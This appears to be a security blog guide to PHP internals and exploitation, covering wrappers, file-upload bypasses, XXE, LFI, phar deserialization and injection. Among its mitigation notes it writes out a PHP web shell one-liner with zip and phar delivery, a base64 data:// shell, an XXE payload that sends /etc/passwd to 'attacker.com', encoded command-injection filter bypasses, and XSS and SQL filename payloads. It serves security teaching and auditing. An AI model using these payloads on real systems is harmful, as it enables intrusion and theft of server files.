PHP Internals: The Walking Dead
The devil is in the details.
Fundamentals
Predefined Variables
PHP provides several predefined arrays to access global data. These include:
Superglobals
: Built-in variables that are always available in all scopes.$GLOBALS
: References all variables available in global scope.$_REQUEST
: HTTP Request variables$_GET
: Data sent via HTTP GET method.$_POST
: Data sent via HTTP POST method.$_COOKIE
: Cookies sent to the script.$_SESSION
: Stores session variables across multiple pages.- Use strong session cookie flags (
HttpOnly
,Secure
,SameSite
).
- Use strong session cookie flags (
$_SERVER
: Server environment variables, including headers, paths, and script locations. Variables like$_SERVER['HTTP_USER_AGENT']
or$_SERVER['REMOTE_ADDR']
provide information about the request.$_FILES
: HTTP File Upload variables.$_ENV
: Environment variables.$php_errormsg
: The previous error message$http_response_header
: HTTP response headers$argc
: The number of arguments passed to script$argv
: Array of arguments passed to script
Security Note: Input validation is crucial.
Typing
Loose and Strict Typing:
- PHP’s type juggling can lead to unexpected behavior in loose comparisons (
==
). For example,0 == "abc"
returns true. - Security Note: Always use strict comparisons (
===
) in critical parts of your code (e.g., password verification, authentication checks) to avoid logic flaws.
Readmore:
Class and Object
- Helps avoid name collisions by grouping related classes. Used in larger projects where many classes may have the same names.
- Security Note: Improper handling of namespaces and autoloading can lead to file inclusion attacks if class names map to user-controlled paths.
- Subclassing the classes can aid in centralization and prevent logic from being repeated. An essential idea for Model-View-Controller (MVC) framework audits.
__construct
: Called when creating an instance of a class.__destruct
: Called when destroying an instance of a class.__call
: Is triggered when the method/function doesn’t exist.__get/__set
: Useful for controlling access to class properties, but can be abused if not carefully implemented (e.g., returning sensitive data).__wakeup
: Often abused in deserialization attacks. Always validate or sanitize input when objects are unserialized.__toString
: Converts an object to a string. It is particularly useful in output formatting but be mindful of potential data leakage when implicitly converting sensitive objects.
Strings
Quoted:
- Single quoted: No variable expansion, and escape sequences are limited to
\\
and\'
. - Double quoted:
- Supports escape sequences (
\n
,\t
,\f
,\
,$
,"
, etc.). - Variable expansion: Variables inside double-quoted strings are expanded, which can be useful but risky if user input is directly included.
- Octal and Hexadecimal Notation: Allows representation of characters in octal (
\nnn
) or hexadecimal (\xHH
), but using raw binary data in strings should be handled carefully. - Security Note: Never trust user input inside double-quoted strings unless properly sanitized to prevent injection attacks.
- Supports escape sequences (
Syntax:
- Heredoc syntax: Behaves like double-quoted strings, supporting variable interpolation and escape sequences. Useful for embedding large blocks of text.
- Nowdoc syntax: Acts like single-quoted strings. No interpolation occurs, making it safer for embedding user content or large blocks of static text.
Readmore: PHP Strings
Autoload
Dynamically loading classes:
- Instead of manually including files, autoloading automates the process.
- The deprecated
__autoload()
is replaced byspl_autoload_register()
, which provides more flexibility (e.g., registering multiple autoloaders). - Since PHP core does extensive class name validation, the autoloader’s attack surface is limited when it comes to huge Object-Oriented Applications.
- Use backslashes to make the autoloader believe that a file is a namespace if we upload it to the image directory, works on Windows and Unix.
Security Note: If an attacker controls file paths or class names, they could load arbitrary code. Always sanitize inputs and restrict paths that the autoloader can access.
Attack Surface: Exploiting autoload with file uploads, if an attacker can upload files, the autoloader could execute them if the filename is crafted as a class.
Readmore : PHP Autoload
PHP Configs
The configuration file php.ini is located.
- Apache:
/etc/php/version/apache2/php.ini
- Nginx:
/etc/php/version/fpm/php.ini
It can utilize disable_functions
to disable system commands, it is helpful for mitigation. However, you can get around this:
- Memory corruption for the escape of virtual machines.
- A new method that is unblocked.
- Replace scripts and triggers with ones from another environment
PHP Wrappers
PHP Protocols and Wrappers:
- file://: Provides access to the local filesystem. Be cautious of potential Local File Inclusion (LFI) vulnerabilities.
- http://: Allows access to remote HTTP(s) resources. Can be exploited if improperly used in file inclusion.
- php://: Allows access to PHP I/O streams (e.g., input, output, and temp memory streams).
- php://input: Direct access to raw POST data. It can be useful for reading non-encoded data, like JSON. It is not available in POST requests with
enctype="multipart/form-data"
if enable_post_data_reading option is enabled. - php://output: Allows writing directly to the output buffer of PHP. It behaves similarly to
fwrite()
on standard output (STDOUT
). - php://fd: Access to file descriptors. It can be used to read from or write to specific file descriptors like
php://fd/3
to access file descriptor 3. - php://memory: Creates a temporary stream in memory. The data is only stored in memory, and once the memory limit is reached, it will stop.
- php://temp: Starts with a memory stream and, once a pre-set threshold is exceeded, switches to a temporary file stored on the disk.
- php://filter: Allows you to apply filtering operations on a stream (e.g., encoding, decoding, transforming data) before reading or writing the stream. convert.base64-decode can be used to alter input/output streams, which can be exploited in combination with file inclusion vulnerabilities (LFI). Example:
php://filter/read=convert.base64-encode/resource=config
. Woops it seems someone is a party-wrecker.
- php://input: Direct access to raw POST data. It can be useful for reading non-encoded data, like JSON. It is not available in POST requests with
- zlib://: Accesses compression streams like
gzip
. Handle compressed data with care to prevent tampering or data injection.- If attempting to disguise files (e.g.,
.jpg
file masquerading as a.zip
with embedded PHP) just likeecho '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
, many security systems can still detect content-type mismatches. - Then access with:
zip://./images/shell.jpg%23shell.php&cmd=id
- Mitigation: Avoid allowing arbitrary file uploads in compressed formats, and verify content-types closely.
- If attempting to disguise files (e.g.,
- phar://: Provides access to PHP archives. PHAR files can include PHP objects in their metadata, making them prone to deserialization-based Remote Code Execution (RCE) if the application unserializes data from a PHAR file.
- To create a PHAR file:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
- To access a file within a PHAR:
phar://./images/shell.jpg%2Fshell.txt&cmd=id
- Mitigation: Set
phar.readonly=1
in production environments to prevent PHAR creation, and avoid unserializing PHAR metadata.
- To create a PHAR file:
- data://: Allows inline data to be treated as a file-like stream. It uses the RFC 2397 format, which allows data to be embedded directly within URLs in the form of base64 or plain text. Include external data and PHP code.
- Only available to use if the (
allow_url_include
) setting is enabled in the PHP configurations. - Usage :
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
- Mitigation: Disable
allow_url_include
to prevent thedata://
wrapper from being exploited.
- Only available to use if the (
- expect://: Allows us to directly run commands through URL streams and often used in environments where automation is needed for command-line interfaces that require interactive input, such as logging into remote systems or interacting with prompts.
- Ensure the
expect
extension is enabled inphp.ini
(extension=expect
). expect://
wrapper then pass the command we want to executeexpect://command
- Mitigation: Only enable
expect://
when necessary, validate input, and consider disabling theexpect
extension in production.
- Ensure the
Security Note: Disable allow_url_fopen
and allow_url_include
in php.ini
to mitigate remote file inclusion risks.
Readmore: Supported Protocols and Wrappers
PHP Dynamic Evaluation
Dynamic code execution:
- eval(): Executes a string as PHP code. It is one of the most dangerous functions and should be avoided.
- assert(): Evaluates a condition and throws an error if false. Since it can execute arbitrary PHP code if given as a string, it’s another dangerous function.
Security Note: Dynamic evaluation functions should be avoided unless absolutely necessary. They open the door to Remote Code Execution (RCE) vulnerabilities if user input is passed to them without strict validation.
Entity
DTD Entities
- External DTD: External entities can be referenced in an XML file, leading to XXE (XML External Entity) vulnerabilities if they are not properly secured.
- Internal DTD: Less risky since no external resources are referenced, but care should still be taken to avoid recursive or excessive entity usage (e.g., Billion Laughs attack).
Security Note: Always disable external entity loading with LIBXML_NOENT when parsing XML unless absolutely necessary.
Readmore : DTD Entities
XML Entities
- Internal XML Entities: Defined within the XML document. Safe if controlled, but still needs proper parsing to avoid malformed or unexpected input.
- External XML Entities: Refer to external resources and pose a higher risk, particularly in environments where sensitive data could be leaked.
PHP Streams
fopen and stream functions:
- Any function that opens or manipulates files can be used to access data streams. Proper input sanitization is required to avoid unintended file inclusions or injections.
- Security Note: When handling file streams from untrusted sources, always validate file paths and restrict access to sensitive directories.
Reflection
The Reflection API allows introspection of classes, methods, and properties at runtime. It’s powerful but dangerous in the wrong hands.
- ReflectionClass: information about a class.
- ReflectionClassConstant: information about a class constant.
- ReflectionFunction: information about a function.
- ReflectionParameter: information about function’s or method’s parameters.
- etc.
Security Note: Avoid exposing reflective capabilities in a way that attackers can manipulate runtime behavior. If used improperly, it can reveal private or protected class members.
Readmore:
- Introduction to PHP Reflection API
- PHP reflection API fundamentals
- Understanding PHP Reflection: An In-Depth Guide with Examples
- Exploring the Power of ReflectionClass in PHP
Framework
Laravel
- Securing your Laravel application: A comprehensive guide
- How to exploit a Remote Code Execution vulnerability in Laravel (CVE-2021-3129)
- Laravel <= v8.4.2 debug mode: Remote code execution
Magento
Symfony
- Finding a POP chain on a common Symfony bundle: part 1
- Finding a POP chain on a common Symfony bundle : part 2
- Secret fragments: Remote code execution on Symfony based websites
- UNIVERSAL (2.x-5.x) gadget chain for Symfony
Yii
Security Note: Always follow best practices when using these frameworks, like securing route access, preventing CSRF, and ensuring proper data sanitization in ORM queries to prevent SQL Injection.
Template Engines
Template Injection: Ensure user inputs are escaped properly when displayed in templates to avoid template injection vulnerabilities. Readmore: Server-Side Template Injection
Smarty
Twig
Blade
Tool : Tplmap
Security Note: Avoid embedding raw PHP in templates, especially in engines that allow PHP execution (e.g., Smarty’s {php}
block). This can lead to RCE if user inputs aren’t properly sanitized.
PHP Debugging
Xdebug is a PHP extension that provides debugging, profiling, and tracing capabilities, making it easier to inspect and troubleshoot PHP applications. It enables interactive debugging and improves error logging by generating detailed stack traces, variable dumps, and memory usage information.
- Debugger Protocol (DBGP): Xdebug communicates with debugging clients (such as IDEs) via the Debugger Protocol (DBGP), a standardized protocol for debugging.
- Enable the extension in your
php.ini
withzend_extension=xdebug.so
(Linux) orzend_extension=xdebug.dll
(Windows). - In VSCode, you don’t need
XDEBUG_SESSION
in the URL because the debugger can automatically attach to the session ifxdebug.start_with_request
is set toyes
.
Xdebug Modes and Options
Debugging Modes:
xdebug.mode=debug
: Enables debugging functionalities, allowing the IDE to set breakpoints, inspect variables, and control code execution.xdebug.mode=trace
: Logs function calls and variable modifications for more extensive analysis.xdebug.mode=profile
: Generates profiling information, useful for performance analysis.
Readmore how to use Xdebug:
- How to Debug PHP Using Xdebug On Vscode
- White-box penetration testing with Xdebug: Debugging for PHP vulnerabilities
Exploitation
RCE (Remote Code Execution)
File Upload Vulnerabilities
MIME-Type and File Signature:
- File Signature or Magic Bytes: File types often have unique identifiers, like GIF images (
GIF87a
orGIF89a
). You might manipulate these signatures to bypass validation, e.g., by adding harmless headers to malicious files. - Bypass Tip: If the application only verifies the MIME type from
Content-Type
headers, it may be vulnerable to changing the MIME type toimage/jpeg
while uploading a script. - To harden this, verify file signatures with PHP functions like
finfo_file()
instead. - Content-Type Fuzzing: SecLists content type
Filename
- Characters like
..
,/
, or null bytes (%00
) can enable directory traversal attacks or manipulation of file paths.
Upload Directory Disclosure
- Error messages may leak information about upload directories, making it easier for attackers to find and execute uploaded files. Try this:
- Attempting to upload a file that has the same name as an existing one may trigger an error revealing the file path and permissions configuration.
- Sending two identical upload requests (e.g., concurrent requests with the same filename) can sometimes cause race conditions, revealing the directory structure in server logs or error messages.
- Uploading a file with a long name (such as 5,000 characters) can overflow directory handling logic, resulting in a stack trace or buffer error that includes directory paths.
Case-Sensitive Blacklist
- PHP’s
basename()
andpathinfo()
functions can inadvertently allow malicious files - The blacklist only considers lowercase extensions, which can be bypassed with mixed-case extensions (e.g.,
pHp
). Windows servers, which are case-insensitive, may execute such files as PHP. - Example:
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');
if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}
Regex Matching
A loose regex pattern can allow unintended extensions:
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
This pattern only checks if the file name contains certain extensions. A crafted file like backdoor.php.jpg
could bypass this check. How to fix:
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
Web Server Configuration
- Even with proper validation, web server configurations can open vulnerabilities. It’s essential to use
$
in regex patterns to enforce exact matches. Without anchoring$
at the end, files likeshell.php.jpg
could match and execute. - For example, Apache’s configuration:
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
Character Certain characters can bypass validation by injecting unexpected sequences:
%20
(space),%0a
(newline),%00
(null byte)...
(path traversal),:
(Windows drive specification)
OOB XXE (Out-of-Band XML External Entity Injection)
- Leverage the behavior of an XML parser configured to allow external entity loading, even if no immediate response data is available. These attacks can exfiltrate data over different protocols and are often used when a direct error response or output is unavailable.
- Works regardless of XXE type (blind, non-blind, or error-based).
- Can be effective for transmitting data out of restrictive environments without relying on a visible response.
- Example
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/?data=file:///etc/passwd">
%remote;
]>
<root>&send;</root>
Entity Overwrite techniques manipulate parameter entities within DTDs to redefine standard entity references, often used when side-channel exfiltration isn’t feasible.
- Exploits the XML specification’s allowance for using external Document Type Definitions (DTDs), letting attackers inject or modify entities directly in the XML declaration.
- This enables references to internal or sensitive files (e.g.,
/etc/passwd
or application configuration files) without relying on external connections. - Instead of referencing an external DTD over HTTP, attackers can use php:// wrappers to manipulate local resources directly or encode output.
- Example using the
php://filter
wrapper
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=config.php">
%data;
]>
<root>&data;</root>
XML data is not limited to SVG but is also common in formats like:
- PDF: Common for document management and may be processed with vulnerable parsers.
- Microsoft Office Files (Word, PowerPoint): Many of these formats embed XML, making them vulnerable if processed without proper sanitization.
LFI/RFI
Tips LFI
- Misuse of
include()
:- If
include($path)
loads unfiltered user input, this can lead to LFI/RFI vulnerabilities.
- If
- Target files:
config.php
: Configuration files often contain database credentials or sensitive information.- Look in directories like
.ssh
for private keys (id_rsa
) if read permissions are too permissive.
- Fuzzing LFI you can use SecList LFI
PHP functions
include()
/include_once()
- Used to load and execute PHP code from a file or URL.
- Remote URL Support: When
allow_url_include
is enabled inphp.ini
, it can load PHP code from remote URLs, posing significant security risks if user input is not sanitized.
require()
/require_once()
- Similar to
include()
, but throws a fatal error if the file cannot be included. - Can’t load remote URLs
- Similar to
file_get_contents()
- Reads the content of a file or URL as a string. Does not execute PHP code, only retrieves content.
- Remote URL Support just like
include()
.
fopen()
/file()
- Opens a file or URL for reading/writing (
fopen()
) or reads a file into an array (file()
). - Does not execute PHP code, primarily used for file handling and reading.
- Remote URL Support similar to
include()
.
- Opens a file or URL for reading/writing (
Phar Deserialization
- Phar files contain serialized metadata that can be exploited in deserialization attacks when deserialization is triggered, especially if a server accepts a
.phar
extension with an image or another MIME type. - You can create custom Phar files with serialized payloads. This can be done through tools like Phar::buildFromDirectory or
php://
wrappers. Detailed guidance can be found in tutorials like Creating Phar Files.
Exploitation Techniques
- Since some servers enforce file extensions as a security measure, renaming a
.phar
file to another extension (e.g.,.jpg
) can bypass restrictions:mv payload.phar payload.jpg
- The
phar://
stream wrapper allows PHP to interpret the renamed file as a Phar archive, regardless of its file extension:phar://path/to/payload.jpg/resource
. - Phar deserialization can be especially dangerous in applications using functions that involve file operations (e.g.,
file_get_contents()
orfile_exists()
) that allow thephar://
wrapper. - Watch IppSec’s video: Advanced PHP Deserialization - Phar Files
- Read this How to exploit the PHAR deserialization vulnerability
Readmore:
- Intro to PHP Deserialization / Object Injection
- What is Phar Deserialization
- Authenticated Magento RCE with deserialized PHAR files
- PHAR deserialization (CVE-2023-28115 patch bypass)
- Exploring the PHAR Deserialization PHP Vulnerability: A White Box Testing Example
- Phar Deserialization Attacks Explained
- Exploiting PHP Phar Deserialization Vulnerabilities: Part 1
Injection
Command Injection
Dangerous Functions: exec
, system
, shell_exec
, passthru
, and popen
are vulnerable to command injection if they handle unsanitized input.
Blacklist/Filter Evasion:
$BLChar = ['&', '|', ';', '>', '<'];
$BLCommand = ['whoami', 'cat', 'id'];
Bypass Techniques:
- Whitespace Substitution:
%0a%09
for tab, or use${IFS}
for spaces in Linux.
- Brace Expansion:
{ls,-la}
to executels -la
.
- String Manipulation:
${LS_COLORS:10:1}
to replace semicolon;
.
- Encoding and Substitution:
- Use
who$@ami
,w\ho\am\i
, or$((tr "[A-Z]" "[a-z]"<<<"WhOaMi"))
to bypass filters.
- Use
- Using
<<<
:- Redirection with
<<<
can eliminate the need for|
(pipe) characters, which may be filtered for example$(rev<<<'imaohw')
andbash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
- Redirection with
Cross-Site Scripting (XSS)
Image Metadata Injection
- If the application displays metadata without sanitization, the payload will execute upon loading, leading to XSS.
- Extra Technique: Change the image’s MIME type to
text/html
to increase the likelihood of browsers interpreting it as HTML rather than an image. - Example:
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' shell.jpg
Embedding in SVG Files
- If SVG files are allowed and not sanitized, the JavaScript inside
<script>
tags will execute upon rendering the file in the browser. - Example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert("window.origin");</script>
</svg>
Injection in Filename
Command Injection
- If the application directly passes the uploaded filename into OS commands (e.g.,
mv
,cp
), this could lead to command injection. Example:file$(whoami).jpg
orfile`whoami`.jpg
: The filename injects thewhoami
command, which would execute when the application attempts to use it in an OS command.file.jpg||whoami
: By using shell metacharacters (e.g.,||
), attackers may append additional commands to the original one.- For instance,
mv file$(whoami).jpg /tmp
.
Cross-Site Scripting (XSS)
- This approach works particularly well if the web application allows users to preview their uploaded files. If the filename is used in an
img
or other HTML tag attribute, the payload could execute on the victim’s browser.. Example:<script>alert(window.origin);</script>.jpg
: If uploaded and displayed without sanitization, this payload could lead to client-side JavaScript execution on any page where the filename is rendered.
SQL Injection
- If the filename is used in a SQL query without sanitization, this could delay query execution or even extract data, depending on the database configuration and context. Example:
file';select+sleep(5);--.jpg
: Injecting this filename could delay or affect database queries if processed insecurely.
What’s next?
- Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
- Iconv, set the charset to RCE exploiting glibc to hack the PHP engine - Charles Fox
- The X-Correlation between Frans & RCE - Research Drop
- Ghosts of the Past - Classic PHP RCE Bugs in Trend Micro Enterprise Offerings
- WordPress GiveWP POP to RCE (CVE-2024-5932)
- PHP filters chain: What is it and how to use it
- PHP filter chains: file read from error-based oracle
- Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there !
- Back to School - Exploiting a Remote Code Execution Vulnerability in Moodle
- Chasing a Dream :: Pre-authenticated Remote Code Execution in Dedecms
- Out of Hand :: Attacks Against PHP Environments
- Composr CMS Remote Code Execution
- PHPGGC: PHP Generic Gadget Chains
- Generic Remote Exploit Techniques For The PHP Allocator, And 0days by Charles Fol
- Breaking mt_rand()
- Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix
- Owncloud: details about CVE-2023-49103 and CVE-2023-49105
- PHP-FPM local root vulnerability (CVE-2021-21703)
- No Way, PHP Strikes Again! (CVE-2024-4577)
- Form Tools Remote Code Execution: We Need To Talk About PHP
- How we broke PHP, hacked Pornhub and earned $20,000
- Breaking PHP’s Garbage Collection and Unserialize
- Fuzzing Unserialize
- PHP Object Serialization
- Practical PHP Object Injection
- Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
- Introducing lightyear: a new way to dump PHP files
- Upcoming hardening in PHP
- Old School Pwning with New School Tricks :: Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability